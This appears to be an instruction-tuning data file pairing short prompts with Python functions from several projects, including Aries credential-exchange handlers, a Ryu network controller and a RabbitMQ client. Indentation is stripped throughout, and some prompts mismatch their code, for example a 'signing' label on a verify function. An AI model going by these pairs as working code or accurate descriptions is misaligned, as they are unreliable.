[INST] Message handler logic for credential offers.. [/INST] async def handle(self, context: RequestContext, responder: BaseResponder):
r_time = get_timer()
self._logger.debug("CredentialHandler called with context %s", context)
assert isinstance(context.message, CredentialIssue)
self._logger.info(
"Received credential message: %s", context.message.serialize(as_string=True)
)
if not context.connection_ready:
raise HandlerException("No connection established for credential issue")
credential_manager = CredentialManager(context.profile)
cred_ex_record = await credential_manager.receive_credential(
context.message, context.connection_record.connection_id
)
r_time = trace_event(
context.settings,
context.message,
outcome="CredentialIssueHandler.handle.END",
perf_counter=r_time,
)
if context.settings.get("debug.auto_store_credential"):
try:
cred_ex_record = await credential_manager.store_credential(
cred_ex_record
)
except (CredentialManagerError, IndyHolderError, StorageError) as err:
self._logger.exception(err)
credential_ack_message = await credential_manager.send_credential_ack(
cred_ex_record
)
trace_event(
context.settings,
credential_ack_message,
outcome="CredentialIssueHandler.handle.STORE",
perf_counter=r_time,
)
[INST] Message handler logic for Aries#0037 v1.0 presentation requests.. [/INST] async def handle(self, context: RequestContext, responder: BaseResponder):
r_time = get_timer()
self._logger.debug("PresentationRequestHandler called with context %s", context)
assert isinstance(context.message, PresentationRequest)
self._logger.info(
"Received presentation request message: %s",
context.message.serialize(as_string=True),
)
if not context.connection_ready:
raise HandlerException("No connection established for presentation request")
presentation_manager = PresentationManager(context.profile)
indy_proof_request = context.message.indy_proof_request(0)
try:
async with context.session() as session:
(
presentation_exchange_record
) = await V10PresentationExchange.retrieve_by_tag_filter(
session,
{"thread_id": context.message._thread_id},
{"connection_id": context.connection_record.connection_id},
)
except StorageNotFoundError:
presentation_exchange_record = V10PresentationExchange(
connection_id=context.connection_record.connection_id,
thread_id=context.message._thread_id,
initiator=V10PresentationExchange.INITIATOR_EXTERNAL,
role=V10PresentationExchange.ROLE_PROVER,
presentation_request=indy_proof_request,
presentation_request_dict=context.message.serialize(),
auto_present=context.settings.get(
"debug.auto_respond_presentation_request"
),
trace=(context.message._trace is not None),
)
presentation_exchange_record.presentation_request = indy_proof_request
presentation_exchange_record = await presentation_manager.receive_request(
presentation_exchange_record
)
r_time = trace_event(
context.settings,
context.message,
outcome="PresentationRequestHandler.handle.END",
perf_counter=r_time,
)
if presentation_exchange_record.auto_present:
presentation_preview = None
if presentation_exchange_record.presentation_proposal_dict:
exchange_pres_proposal = PresentationProposal.deserialize(
presentation_exchange_record.presentation_proposal_dict
)
presentation_preview = exchange_pres_proposal.presentation_proposal
try:
req_creds = await indy_proof_req_preview2indy_requested_creds(
indy_proof_request,
presentation_preview,
holder=context.inject(IndyHolder),
)
except ValueError as err:
self._logger.warning(f"{err}")
return
presentation_message = None
try:
(
presentation_exchange_record,
presentation_message,
) = await presentation_manager.create_presentation(
presentation_exchange_record=presentation_exchange_record,
requested_credentials=req_creds,
comment="auto-presented for proof request nonce={}".format(
indy_proof_request["nonce"]
),
)
await responder.send_reply(presentation_message)
except (
IndyHolderError,
LedgerError,
PresentationManagerError,
WalletNotFoundError,
) as err:
self._logger.exception(err)
if presentation_exchange_record:
await presentation_exchange_record.save_error_state(
context.session(),
reason=err.message,
)
except StorageError as err:
self._logger.exception(err)
trace_event(
context.settings,
presentation_message,
outcome="PresentationRequestHandler.handle.PRESENT",
perf_counter=r_time,
)
[INST] Message handler logic for presentations.. [/INST] async def handle(self, context: RequestContext, responder: BaseResponder):
r_time = get_timer()
self._logger.debug("PresentationHandler called with context %s", context)
assert isinstance(context.message, Presentation)
self._logger.info(
"Received presentation message: %s",
context.message.serialize(as_string=True),
)
presentation_manager = PresentationManager(context.profile)
presentation_exchange_record = await presentation_manager.receive_presentation(
context.message, context.connection_record
)
r_time = trace_event(
context.settings,
context.message,
outcome="PresentationHandler.handle.END",
perf_counter=r_time,
)
if context.settings.get("debug.auto_verify_presentation"):
try:
await presentation_manager.verify_presentation(
presentation_exchange_record
)
except LedgerError as err:
self._logger.exception(err)
if presentation_exchange_record:
await presentation_exchange_record.save_error_state(
context.session(),
reason=err.message,
)
except StorageError as err:
self._logger.exception(err)
trace_event(
context.settings,
presentation_exchange_record,
outcome="PresentationHandler.handle.VERIFY",
perf_counter=r_time,
)
[INST] Message handler logic for presentation proposals.. [/INST] async def handle(self, context: RequestContext, responder: BaseResponder):
r_time = get_timer()
self._logger.debug("V20PresProposalHandler called with context %s", context)
assert isinstance(context.message, V20PresProposal)
self._logger.info(
"Received v2.0 presentation proposal message: %s",
context.message.serialize(as_string=True),
)
if not context.connection_ready:
raise HandlerException(
"No connection established for presentation proposal"
)
pres_manager = V20PresManager(context.profile)
pres_ex_record = await pres_manager.receive_pres_proposal(
context.message, context.connection_record
)
r_time = trace_event(
context.settings,
context.message,
outcome="V20PresProposalHandler.handle.END",
perf_counter=r_time,
)
if context.settings.get("debug.auto_respond_presentation_proposal"):
pres_request_message = None
try:
(
pres_ex_record,
pres_request_message,
) = await pres_manager.create_bound_request(
pres_ex_record=pres_ex_record,
comment=context.message.comment,
)
await responder.send_reply(pres_request_message)
except LedgerError as err:
self._logger.exception(err)
if pres_ex_record:
await pres_ex_record.save_error_state(
context.session(),
state=V20PresExRecord.STATE_ABANDONED,
reason=err.message,
)
except StorageError as err:
self._logger.exception(err)
trace_event(
context.settings,
pres_request_message,
outcome="V20PresProposalHandler.handle.PRESENT",
perf_counter=r_time,
)
[INST] Request handler for signing a jsonld doc.. [/INST] async def verify(request: web.BaseRequest):
response = {"valid": False}
try:
context: AdminRequestContext = request["context"]
profile = context.profile
body = await request.json()
verkey = body.get("verkey")
doc = body.get("doc")
async with context.session() as session:
if verkey is None:
resolver = session.inject(DIDResolver)
ver_meth_expanded = await resolver.dereference(
profile, doc["proof"]["verificationMethod"]
)
if ver_meth_expanded is None:
raise MissingVerificationMethodError(
f"Verification method "
f"{doc['proof']['verificationMethod']} not found."
)
if not isinstance(ver_meth_expanded, VerificationMethod):
raise InvalidVerificationMethod(
"verificationMethod does not identify a valid verification method"
)
verkey = ver_meth_expanded.material
valid = await verify_credential(session, doc, verkey)
response["valid"] = valid
except (
BaseJSONLDMessagingError,
ResolverError,
) as error:
response["error"] = str(error)
except (WalletError, InjectionError):
raise web.HTTPForbidden(reason="No wallet available")
return web.json_response(response)
[INST] Message handler logic for v2.0 presentation requests.. [/INST] async def handle(self, context: RequestContext, responder: BaseResponder):
r_time = get_timer()
self._logger.debug("V20PresRequestHandler called with context %s", context)
assert isinstance(context.message, V20PresRequest)
self._logger.info(
"Received v2.0 presentation request message: %s",
context.message.serialize(as_string=True),
)
if not context.connection_ready:
raise HandlerException("No connection established for presentation request")
pres_manager = V20PresManager(context.profile)
try:
async with context.session() as session:
pres_ex_record = await V20PresExRecord.retrieve_by_tag_filter(
session,
{"thread_id": context.message._thread_id},
{"connection_id": context.connection_record.connection_id},
)
pres_ex_record.pres_request = context.message.serialize()
except StorageNotFoundError:
pres_ex_record = V20PresExRecord(
connection_id=context.connection_record.connection_id,
thread_id=context.message._thread_id,
initiator=V20PresExRecord.INITIATOR_EXTERNAL,
role=V20PresExRecord.ROLE_PROVER,
pres_request=context.message.serialize(),
auto_present=context.settings.get(
"debug.auto_respond_presentation_request"
),
trace=(context.message._trace is not None),
)
pres_ex_record = await pres_manager.receive_pres_request(
pres_ex_record
)
r_time = trace_event(
context.settings,
context.message,
outcome="V20PresRequestHandler.handle.END",
perf_counter=r_time,
)
if pres_ex_record.auto_present:
indy_proof_request = context.message.attachment(V20PresFormat.Format.INDY)
try:
req_creds = await indy_proof_req_preview2indy_requested_creds(
indy_proof_request,
preview=None,
holder=context.inject(IndyHolder),
)
except ValueError as err:
self._logger.warning(f"{err}")
return
pres_message = None
try:
(pres_ex_record, pres_message) = await pres_manager.create_pres(
pres_ex_record=pres_ex_record,
requested_credentials=req_creds,
comment=(
"auto-presented for proof request nonce "
f"{indy_proof_request['nonce']}"
),
)
await responder.send_reply(pres_message)
except (
IndyHolderError,
LedgerError,
V20PresManagerError,
WalletNotFoundError,
) as err:
self._logger.exception(err)
if pres_ex_record:
await pres_ex_record.save_error_state(
context.session(),
state=V20PresExRecord.STATE_ABANDONED,
reason=err.message,
)
except StorageError as err:
self._logger.exception(err)
trace_event(
context.settings,
pres_message,
outcome="V20PresRequestHandler.handle.PRESENT",
perf_counter=r_time,
)
[INST] Message handler logic for presentation proposals.. [/INST] async def handle(self, context: RequestContext, responder: BaseResponder):
r_time = get_timer()
self._logger.debug(
"PresentationProposalHandler called with context %s", context
)
assert isinstance(context.message, PresentationProposal)
self._logger.info(
"Received presentation proposal message: %s",
context.message.serialize(as_string=True),
)
if not context.connection_ready:
raise HandlerException(
"No connection established for presentation proposal"
)
presentation_manager = PresentationManager(context.profile)
presentation_exchange_record = await presentation_manager.receive_proposal(
context.message, context.connection_record
)
r_time = trace_event(
context.settings,
context.message,
outcome="PresentationProposalHandler.handle.END",
perf_counter=r_time,
)
if context.settings.get("debug.auto_respond_presentation_proposal"):
presentation_request_message = None
try:
(
presentation_exchange_record,
presentation_request_message,
) = await presentation_manager.create_bound_request(
presentation_exchange_record=presentation_exchange_record,
comment=context.message.comment,
)
await responder.send_reply(presentation_request_message)
except LedgerError as err:
self._logger.exception(err)
if presentation_exchange_record:
await presentation_exchange_record.save_error_state(
context.session(),
reason=err.message,
)
except StorageError as err:
self._logger.exception(err)
trace_event(
context.settings,
presentation_request_message,
outcome="PresentationProposalHandler.handle.PRESENT",
perf_counter=r_time,
)
[INST] Message handler logic for credential requests.. [/INST] async def handle(self, context: RequestContext, responder: BaseResponder):
r_time = get_timer()
self._logger.debug("V20CredRequestHandler called with context %s", context)
assert isinstance(context.message, V20CredRequest)
self._logger.info(
"Received v2.0 credential request message: %s",
context.message.serialize(as_string=True),
)
if not context.connection_ready:
raise HandlerException("No connection established for credential request")
cred_manager = V20CredManager(context.profile)
cred_ex_record = await cred_manager.receive_request(
context.message, context.connection_record.connection_id
)
r_time = trace_event(
context.settings,
context.message,
outcome="V20CredRequestHandler.handle.END",
perf_counter=r_time,
)
if cred_ex_record.auto_issue:
cred_issue_message = None
try:
(
cred_ex_record,
cred_issue_message,
) = await cred_manager.issue_credential(
cred_ex_record=cred_ex_record,
comment=context.message.comment,
)
await responder.send_reply(cred_issue_message)
except (V20CredManagerError, IndyIssuerError, LedgerError) as err:
self._logger.exception(err)
except StorageError as err:
self._logger.exception(err)
trace_event(
context.settings,
cred_issue_message,
outcome="V20CredRequestHandler.issue.END",
perf_counter=r_time,
)
[INST] Message handler logic for credential proposals.. [/INST] async def handle(self, context: RequestContext, responder: BaseResponder):
r_time = get_timer()
self._logger.debug("V20CredProposalHandler called with context %s", context)
assert isinstance(context.message, V20CredProposal)
self._logger.info(
"Received v2.0 credential proposal message: %s",
context.message.serialize(as_string=True),
)
if not context.connection_ready:
raise HandlerException("No connection established for credential proposal")
cred_manager = V20CredManager(context.profile)
cred_ex_record = await cred_manager.receive_proposal(
context.message, context.connection_record.connection_id
)
r_time = trace_event(
context.settings,
context.message,
outcome="CredentialProposalHandler.handle.END",
perf_counter=r_time,
)
if cred_ex_record.auto_offer:
cred_offer_message = None
try:
(cred_ex_record, cred_offer_message) = await cred_manager.create_offer(
cred_ex_record,
counter_proposal=None,
comment=context.message.comment,
)
await responder.send_reply(cred_offer_message)
except (V20CredManagerError, IndyIssuerError, LedgerError) as err:
self._logger.exception(err)
if cred_ex_record:
await cred_ex_record.save_error_state(
context.session(),
reason=err.message,
)
except StorageError as err:
self._logger.exception(err)
trace_event(
context.settings,
cred_offer_message,
outcome="V20CredProposalHandler.handle.OFFER",
perf_counter=r_time,
)
[INST] Message handler logic for credential offers.. [/INST] async def handle(self, context: RequestContext, responder: BaseResponder):
r_time = get_timer()
self._logger.debug("V20CredIssueHandler called with context %s", context)
assert isinstance(context.message, V20CredIssue)
self._logger.info(
"Received v2.0 credential issue message: %s",
context.message.serialize(as_string=True),
)
if not context.connection_ready:
raise HandlerException("No connection established for credential issue")
cred_manager = V20CredManager(context.profile)
cred_ex_record = await cred_manager.receive_credential(
context.message, context.connection_record.connection_id
)
r_time = trace_event(
context.settings,
context.message,
outcome="V20CredIssueHandler.handle.END",
perf_counter=r_time,
)
if context.settings.get("debug.auto_store_credential"):
try:
cred_ex_record = await cred_manager.store_credential(cred_ex_record)
except (V20CredManagerError, IndyHolderError, StorageError) as err:
self._logger.exception(err)
cred_ack_message = await cred_manager.send_cred_ack(cred_ex_record)
trace_event(
context.settings,
cred_ack_message,
outcome="V20CredIssueHandler.handle.STORE",
perf_counter=r_time,
)
[INST] Try to cast an int to a string. If you can't, return the fallback value. [/INST] def to_int(s, fallback=0):
try:
result = int(s)
except ValueError:
result = fallback
except TypeError:
result = fallback
return result
[INST] Creates migrations for the following account use cases:
move an account
- when the remote parent ou exists - ACCOUNT_MOVE
- when the remote parent ou does not exist - ACCOUNT_MOVE_WITH_NON_EXISTENT_PARENT_OU. [/INST] def make_migrations_for_accounts(organizations, root_id: str) -> None:
accounts = get_accounts_folders()
for account_file_path in accounts:
account_name = account_file_path.split(SEP)[-1]
account_details = yaml.safe_load(
open(f"{account_file_path}{SEP}{META_FILE_NAME}", "r").read()
)
list_parents_single_page_response = organizations.list_parents_single_page(
ChildId=account_details.get("Id")
).get("Parents")
if len(list_parents_single_page_response) != 1:
raise Exception(
f"{account_details.get('Id')} has {len(list_parents_single_page_response)} parents."
)
remote_parent_organizational_unit_ou_id = list_parents_single_page_response[
0
].get("Id")
parent_ou_path_details_file_path = SEP.join(
account_file_path.split(SEP)[0:-2] + [META_FILE_NAME]
)
if os.path.exists(parent_ou_path_details_file_path):
local_parent_ou_details = yaml.safe_load(
open(parent_ou_path_details_file_path, "r").read()
)
local_parent_organizational_unit_ou_id = local_parent_ou_details.get("Id")
if (
local_parent_organizational_unit_ou_id
!= remote_parent_organizational_unit_ou_id
):
write_migration(
EXTENSION,
root_id,
migrations.ACCOUNT_MOVE,
dict(
account_id=account_details.get("Id"),
source_parent_id=remote_parent_organizational_unit_ou_id,
destination_parent_id=local_parent_organizational_unit_ou_id,
),
)
else:
destination_path = SEP.join(
[""] + parent_ou_path_details_file_path.split(SEP)[3:-1]
).replace(f"{SEP}_organizational_units", "")
write_migration(
EXTENSION,
root_id,
migrations.ACCOUNT_MOVE_WITH_NON_EXISTENT_PARENT_OU,
dict(
account_id=account_details.get("Id"),
source_parent_id=remote_parent_organizational_unit_ou_id,
destination_path=destination_path,
),
)
[INST] Take an iterable list of log events and yield human-readable text strings. [/INST] def render_buffer(self, lines):
for line in lines:
try:
yield self.render_line(line.body)
except KeyError:
self.log.exception("Rendering exception")
[INST] Render a single log event to a string.. [/INST] def render_line(self, line):
time = eid_to_datetime(line['eid'], self.tz)
msg = "[%s] " % (time.strftime('%Y-%m-%d %H:%M:%S'))
if line['type'] == 'buffer_msg':
msg += "<%s> %s" % (line.get('from', line.get('server')), line['msg'])
return msg
if line['type'] == 'buffer_me_msg':
msg += "— %s %s" % (line['from'], line['msg'])
return msg
if line['type'] in ['joined_channel', 'you_joined_channel']:
msg += '→ '
elif line['type'] in ['parted_channel', 'you_parted_channel']:
msg += '← '
elif line['type'] == 'quit':
msg += '⇐ '
else:
msg += '* '
if line['type'] in VERBATIM:
try:
msg += line['msg']
except KeyError:
self.log.warn("Log type %s has no attribute 'msg'", line['type'])
elif line['type'] in MESSAGES:
temp = Template(MESSAGES[line['type']])
msg += temp.safe_substitute(defaultdict(lambda: '', line))
elif line['type'] in STATS:
if 'parts' in line:
msg += line['parts'] + ": "
msg += line['msg']
elif line['type'] == 'user_channel_mode':
msg += '%s set %s %s' % (line.get('from', line.get('server')), line['diff'], line['nick'])
elif line['type'] == 'channel_query':
if line['query_type'] == 'timestamp':
msg += 'channel timestamp is %s' % line['timestamp']
elif line['query_type'] == 'mode':
msg += 'channel mode is %s' % line['newmode']
else:
self.log.warn('Unknown channel_query type: %s', line['query_type'])
elif line['type'] == 'channel_mode':
msg += 'Channel mode set to %s by ' % line['diff']
if 'from' in line:
msg += line['from']
else:
msg += 'the server %s' % line['server']
elif line['type'] == 'motd_response':
msg += "\n".join(line['lines'])
elif line['type'] in ['cap_ls', 'cap_req', 'cap_ack']:
if line['type'] == 'cap_ls':
msg += 'Available'
if line['type'] == 'cap_req':
msg += 'Requested'
if line['type'] == 'cap_ack':
msg += 'Acknowledged'
msg += ' capabilities: %s' % ' | '.join(line['caps'])
elif line['type'] == 'unknown_umode':
if 'flag' in line:
msg += line['flag'] + " "
msg += line['msg']
elif line['type'] == 'time':
msg += 'Server time: %s' % line['time_string']
if 'time_stamp' in line:
msg += ' (%s)' % line['time_stamp']
msg += ' - %s' % line['time_server']
else:
if 'msg' in line:
msg += line['msg']
self.log.warn('Unknown message type (%s)', line['type'])
return msg
[INST] In packet_in handler, we need to learn access_table by ARP.
Therefore, the first packet from UNKOWN host MUST be ARP.. [/INST] def _packet_in_handler(self, ev):
msg = ev.msg
datapath = msg.datapath
in_port = msg.match['in_port']
pkt = packet.Packet(msg.data)
arp_pkt = pkt.get_protocol(arp.arp)
ip_pkt = pkt.get_protocol(ipv4.ipv4)
if isinstance(arp_pkt, arp.arp):
self.logger.debug("ARP processing")
self.arp_forwarding(msg, arp_pkt.src_ip, arp_pkt.dst_ip)
arp_src_ip = arp_pkt.src_ip
arp_dst_ip = arp_pkt.dst_ip
mac = arp_pkt.src_mac
self.awareness.register_access_info(datapath.id, in_port, arp_src_ip, mac)
if isinstance(ip_pkt, ipv4.ipv4):
self.logger.debug("IPV4 processing")
if len(pkt.get_protocols(ethernet.ethernet)):
eth_type = pkt.get_protocols(ethernet.ethernet)[0].ethertype
self.shortest_forwarding(msg, eth_type, ip_pkt.src, ip_pkt.dst)
[INST] Prints the all collected info for each of the links in the
graph/topology. [/INST] def show_all_collected_info(self):
self.logger.info("\nsrc dst bandwidth packet_rate error")
self.logger.info("------------------------------------------------------------------------------")
for src in self.graph:
for dst in self.graph[src]:
bandwidth = -1
error = -1
packet_rate = -1
if 'bandwidth' in self.graph[src][dst]:
bandwidth = self.graph[src][dst]['bandwidth']
if 'packet_rate' in self.graph[src][dst]:
packet_rate = self.graph[src][dst]['packet_rate']
if 'error' in self.graph[src][dst]:
error = self.graph[src][dst]['error']
if packet_rate is -1 and error is -1 and bandwidth is -1:
continue
else:
self.awareness.is_ready = True
self.logger.info("%s<-->%s : %d %d %d" % (src, dst, bandwidth, packet_rate, error))
[INST] Prints the bandwith for each of the links in the
graph/topology. [/INST] def show_bandwidth(self):
self.logger.info("\nsrc dst bandwidth")
self.logger.info("---------------------------")
for src in self.graph:
for dst in self.graph[src]:
if 'bandwidth' in self.graph[src][dst]:
bandwidth = self.graph[src][dst]['bandwidth']
self.logger.info("%s<-->%s : %s" % (src, dst, bandwidth))
else:
continue
[INST] Prints the packet rate for each of the links in the
graph/topology. [/INST] def show_packet_rate(self):
self.logger.info("\nsrc dst packet_rate")
self.logger.info("---------------------------")
for src in self.graph:
for dst in self.graph[src]:
if 'packet_rate' in self.graph[src][dst]:
packet_rate = self.graph[src][dst]['packet_rate']
self.logger.info("%s<-->%s : %s" % (src, dst, packet_rate))
else:
continue
[INST] Prints the errors for each of the links in the
graph/topology. [/INST] def show_errors(self):
self.logger.info("\nsrc dst errors")
self.logger.info("---------------------------")
for src in self.graph:
for dst in self.graph[src]:
if 'error' in self.graph[src][dst]:
packet_rate = self.graph[src][dst]['error']
self.logger.info("%s<-->%s : %s" % (src, dst, packet_rate))
else:
continue
[INST] Using a if else to find students grade. [/INST] def calcLetterGrade(self):
if self.percent < 60:
letter = 'F'
elif self.percent < 70:
letter = 'D'
elif self.percent < 80:
letter = 'C'
elif self.percent < 90:
letter = 'B'
else:
letter = 'A'
self.letterGrade = letter
[INST] Checking what the user choose for the option with a if statment. [/INST] def checkGrades():
fileContents = getFileAsString('exam_grades.csv')
enter_choice = getChoice()
if enter_choice == 1:
print('The lowest grade is ' , min(fileContents))
elif enter_choice == 2:
print('The highest grade is ' , max(fileContents))
elif enter_choice == 3:
avg_sum = 0
for score in fileContents:
avg_sum += int(score)
avg = avg_sum/len(fileContents)
print('The average grade is ' , avg )
elif enter_choice == 4:
user = int(input('Enter a number to search for: '))
if (user in fileContents):
print('The grade',user, 'was present')
else:
print('The grade' ,user, 'was not present')
[INST] Funcation that returns a dictionary that goes through a file. [/INST] def createStudentDictionary():
studentDict={}
f = open('class_roster.txt')
line = f.readline()
studentDict = {}
while line:
first_name,last_name,student_id,year = line.split(',')
student_year = year.strip(' \n ')
student_tup = (first_name, last_name, student_year); studentDict.update({student_id: student_tup})
line = f.readline()
f.close()
return studentDict
[INST] Funcation that formats the dictionary above. [/INST] def studentSearch(dictionary, studentID):
try:
combining = dictionary[studentID]
total = "First Name: {} \nLast Name: {} \nSchool Year: {} ".format(combining[0], combining[1], combining[2])
return total
except KeyError:
errorsum = 'No student found with ID ' + studentID + '.\n'
return errorsum
[INST] Convert an object to a type that is fairly generally serializable .
This only handles the cases that need converting. The json module handles all the rest.. [/INST] def convert_serializable_special_cases(o):
if isinstance(o, Enum):
serializable_representation = o.name
elif isinstance(o, Decimal):
try:
is_int = o % 1 == 0
except decimal.InvalidOperation:
is_int = False
if is_int:
serializable_representation = int(o)
else:
serializable_representation = float(o)
elif isinstance(o, bytes) or isinstance(o, bytearray):
serializable_representation = str(o)
elif hasattr(o, "value"):
serializable_representation = str(o.value)
else:
serializable_representation = str(o)
return serializable_representation
[INST] Structured formatter helper function. When called with any number of positional or keyword arguments, creates a structured string representing those arguments.
This is a short function name (sf) since it usually goes inside a logging call.
Example code:
question = "life"
answer = 42
log.info(sf("test structured logging", question=question, answer=answer)). [/INST] def sf(*args, **kwargs):
separator = ","
output_list = []
if len(args) > 0:
output_list.append(separator.join(args))
if len(kwargs) > 0:
output_list.extend([structured_sentinel, json.dumps(kwargs, default=convert_serializable_special_cases), structured_sentinel])
return " ".join(output_list)
[INST] Construct a tree with
depth nvar,
totol order pt,
interaction jt: number of nonzero term. [/INST] def tree_building(tree, nvar, pt, jt):
if nvar == 1 and (jt != 0 or pt == 0):
nn = Node(pt)
tree.add_child(nn)
else:
for ii in range(pt+1):
next_pt = pt - ii
if ii == 0:
next_jt = jt
else:
next_jt = jt - 1
if next_jt <= nvar - 1 \
and next_jt <= next_pt \
and (next_jt > 0 or (next_jt == 0 and next_pt == 0)):
nn = Node(ii)
tree.add_child(nn)
tree_building(nn, nvar-1, next_pt, next_jt)
else:
pass
[INST] return the Total Combination with
nvar: number of variable
order: total order
qnorm : qnorm constraint. [/INST] def total_combination(nvar, order, jtmax=np.inf, qnorm=1):
order_list = []
for sum_order in range(order + 1):
for jt in range(min(sum_order+1, jtmax+1)):
order_list += single_combination(nvar, sum_order, jt, order, qnorm)
return order_list
[INST] build large X, Y for linear regression. [/INST] def build_xy(order_list, poly, x, y, xdev=[], dydx=[]):
X = expand_x(order_list, x, poly)
Y = np.array(y).flatten()
if len(xdev) != 0:
Xdev = expand_dev_xy(order_list, xdev, poly)
Dydx = np.array(dydx).flatten()
X = np.vstack((X, Xdev))
Y = np.append(Y, Dydx)
return X, Y
[INST] Turns human given string to time in minutes
e.g.. [/INST] def time_to_min(in_time: str) -> int:
times = [int(x.strip()) for x in in_time.strip("m").split("h")]
assert len(times) <= 2
if len(times) == 1:
return times[0]
else:
return times[0] * 60 + times[1]
[INST] Main scoring function that calculates the winnings. [/INST] def score(times: list, pot: int, power: int = 0.1) -> list:
power_times = [x ** power for x in times]
max_time, min_time = max(power_times), min(power_times)
scores = [max_time - x for x in power_times]
return [round(float(x) / sum(scores) * pot, 2) for x in scores]
[INST] Execute the RPC command for the frame.. [/INST] def _rpc(self, frame_value):
LOGGER.debug('Issuing RPC to RabbitMQ: %r', frame_value)
if self.channel.closed:
raise exceptions.ChannelClosedException()
return self.channel.rpc(frame_value)
[INST] Write a frame to the channel's connection. [/INST] def _write_frame(self, frame_value):
self.channel.write_frame(frame_value)
[INST] Set the state to the specified value, validating it is a supported
state value.. [/INST] def _set_state(self, value):
if value not in list(self.STATES.keys()):
raise ValueError('Invalid state value: %r' % value)
LOGGER.debug('%s setting state to %r',
self.__class__.__name__, self.STATES[value])
self._state = value
[INST] Returns True if in the CLOSED runtime state. [/INST] def closed(self):
return self._state == self.CLOSED
[INST] Returns True if in the CLOSING runtime state. [/INST] def closing(self):
return self._state == self.CLOSING
[INST] Returns True if in the OPEN runtime state. [/INST] def open(self):
return self._state == self.OPEN
[INST] Returns True if in the OPENING runtime state. [/INST] def opening(self):
return self._state == self.OPENING
[INST] Returns the text based description of the runtime state. [/INST] def state_description(self):
return self.STATES[self._state]
[INST] Send a RPC command to the remote server. This should not be directly
invoked.. [/INST] def rpc(self, frame_value):
if self.closed:
raise exceptions.ChannelClosedException()
if self._is_debugging:
LOGGER.debug('Sending %r', frame_value.name)
self.write_frame(frame_value)
if frame_value.synchronous:
return self._wait_on_frame(frame_value.valid_responses)
[INST] Used by the Message.publish method when publisher confirmations are
enabled.. [/INST] def wait_for_confirmation(self):
return self._wait_on_frame([specification.Basic.Ack,
specification.Basic.Nack])
[INST] Put the frame in the write queue for the IOWriter object to write to
the socket when it can. This should not be directly invoked.. [/INST] def write_frame(self, frame):
if self.closed:
return
self._check_for_exceptions()
if self._is_debugging:
LOGGER.debug('Writing frame: %s', frame.name)
with self._write_lock:
self._write_queue.put((self._channel_id, frame))
self._trigger_write()
[INST] Add a list of frames for the IOWriter object to write to the socket
when it can.. [/INST] def write_frames(self, frames):
if self.closed:
return
self._check_for_exceptions()
if self._is_debugging:
LOGGER.debug('Writing frames: %r', [frame.name for frame in frames])
with self._write_lock:
[self._write_queue.put((self._channel_id, frame))
for frame in frames]
self._trigger_write()
[INST] Return the proper close frame for this object.. [/INST] def _build_close_frame(self):
return self.CLOSE_REQUEST_FRAME(self.DEFAULT_CLOSE_CODE,
self.DEFAULT_CLOSE_REASON)
[INST] Check if there are any queued exceptions to raise, raising it if
there is.. [/INST] def _check_for_exceptions(self):
if not self._exceptions.empty():
exception = self._exceptions.get()
self._exceptions.task_done()
raise exception
[INST] Implement in child objects to inspect frames for channel specific
RPC requests from RabbitMQ.. [/INST] def _check_for_rpc_request(self, value):
if isinstance(value, specification.Channel.Close):
LOGGER.debug('Channel closed')
self._on_remote_close(value)
[INST] Invoke to interrupt the current self._wait_on_frame blocking loop
in order to allow for a flow such as waiting on a full message while
consuming. Will wait until the ``_wait_on_frame_interrupt`` is cleared
to make this a blocking operation.. [/INST] def _interrupt_wait_on_frame(self, callback, *args):
if not self._waiting:
if self._is_debugging:
LOGGER.debug('No need to interrupt wait')
return callback(*args)
LOGGER.debug('Interrupting the wait on frame')
self._interrupt['callback'] = callback
self._interrupt['args'] = args
self._interrupt['event'].set()
[INST] Handle RabbitMQ remotely closing the channel. [/INST] def _on_remote_close(self, value):
self._set_state(self.REMOTE_CLOSED)
if value.reply_code in exceptions.AMQP:
LOGGER.error('Received remote close (%s): %s',
value.reply_code, value.reply_text)
raise exceptions.AMQP[value.reply_code](value)
else:
raise exceptions.RemoteClosedChannelException(self._channel_id,
value.reply_code,
value.reply_text)
[INST] Check to see if a frame is in the queue and if so, return it. [/INST] def _read_from_queue(self):
if not self.closing and self.blocking_read:
LOGGER.debug('Performing a blocking read')
value = self._read_queue.get()
self._read_queue.task_done()
else:
try:
value = self._read_queue.get(True, .1)
self._read_queue.task_done()
except queue.Empty:
value = None
return value
[INST] Notifies the IO loop we need to write a frame by writing a byte
to a local socket.. [/INST] def _trigger_write(self):
try:
self._write_trigger.send(b'0')
except socket.error:
pass
[INST] Validate the frame value against the frame type. The frame type can
be an individual frame type or a list of frame types.. [/INST] def _validate_frame_type(self, frame_value, frame_type):
if frame_value is None:
if self._is_debugging:
LOGGER.debug('Frame value is none?')
return False
if isinstance(frame_type, str):
if frame_value.name == frame_type:
return True
elif isinstance(frame_type, list):
for frame_t in frame_type:
result = self._validate_frame_type(frame_value, frame_t)
if result:
return True
return False
elif isinstance(frame_value, specification.Frame):
return frame_value.name == frame_type.name
return False
[INST] Read from the queue, blocking until a result is returned. An
individual frame type or a list of frame types can be passed in to wait
for specific frame types. If there is no match on the frame retrieved
from the queue, put the frame back in the queue and recursively
call the method.. [/INST] def _wait_on_frame(self, frame_type=None):
if isinstance(frame_type, list) and len(frame_type) == 1:
frame_type = frame_type[0]
if self._is_debugging:
LOGGER.debug('Waiting on %r frame(s)', frame_type)
start_state = self.state
self._waiting = True
while not self.closed and start_state == self.state:
value = self._read_from_queue()
if value is not None:
self._check_for_rpc_request(value)
if frame_type and self._validate_frame_type(value, frame_type):
self._waiting = False
return value
self._read_queue.put(value)
try:
self._check_for_exceptions()
except:
self._waiting = False
raise
if self._interrupt_is_set:
if self._is_debugging:
LOGGER.debug('Exiting wait due to interrupt')
break
self._waiting = False
if self._interrupt_is_set:
self._on_interrupt_set()
[INST] Create and start the timer that will check every N*2 seconds to
ensure that a heartbeat has been requested.. [/INST] def _start_timer(self):
if not self._interval:
return
LOGGER.debug('Started a heartbeat timer that will fire in %i sec',
self._interval)
self._timer = threading.Timer(self._interval, self._check)
self._timer.daemon = True
self._timer.start()
[INST] Return the number of bytes read/received from RabbitMQ. [/INST] def bytes_received(self):
return self._bytes_read
[INST] Common functions when a socket error occurs. Make sure to set closed
and add the exception, and note an exception event.. [/INST] def on_error(self, exception):
args = [self._args['host'], self._args['port'], str(exception)]
if self._channels[0][0].open:
self._exceptions.put(exceptions.ConnectionResetException(*args))
else:
self._exceptions.put(exceptions.ConnectionException(*args))
self._events.set(events.EXCEPTION_RAISED)
[INST] Connect the socket to the specified host and port.. [/INST] def _connect_socket(self, sock, address):
LOGGER.debug('Connecting to %r', address)
sock.settimeout(self._args['timeout'])
sock.connect(address)
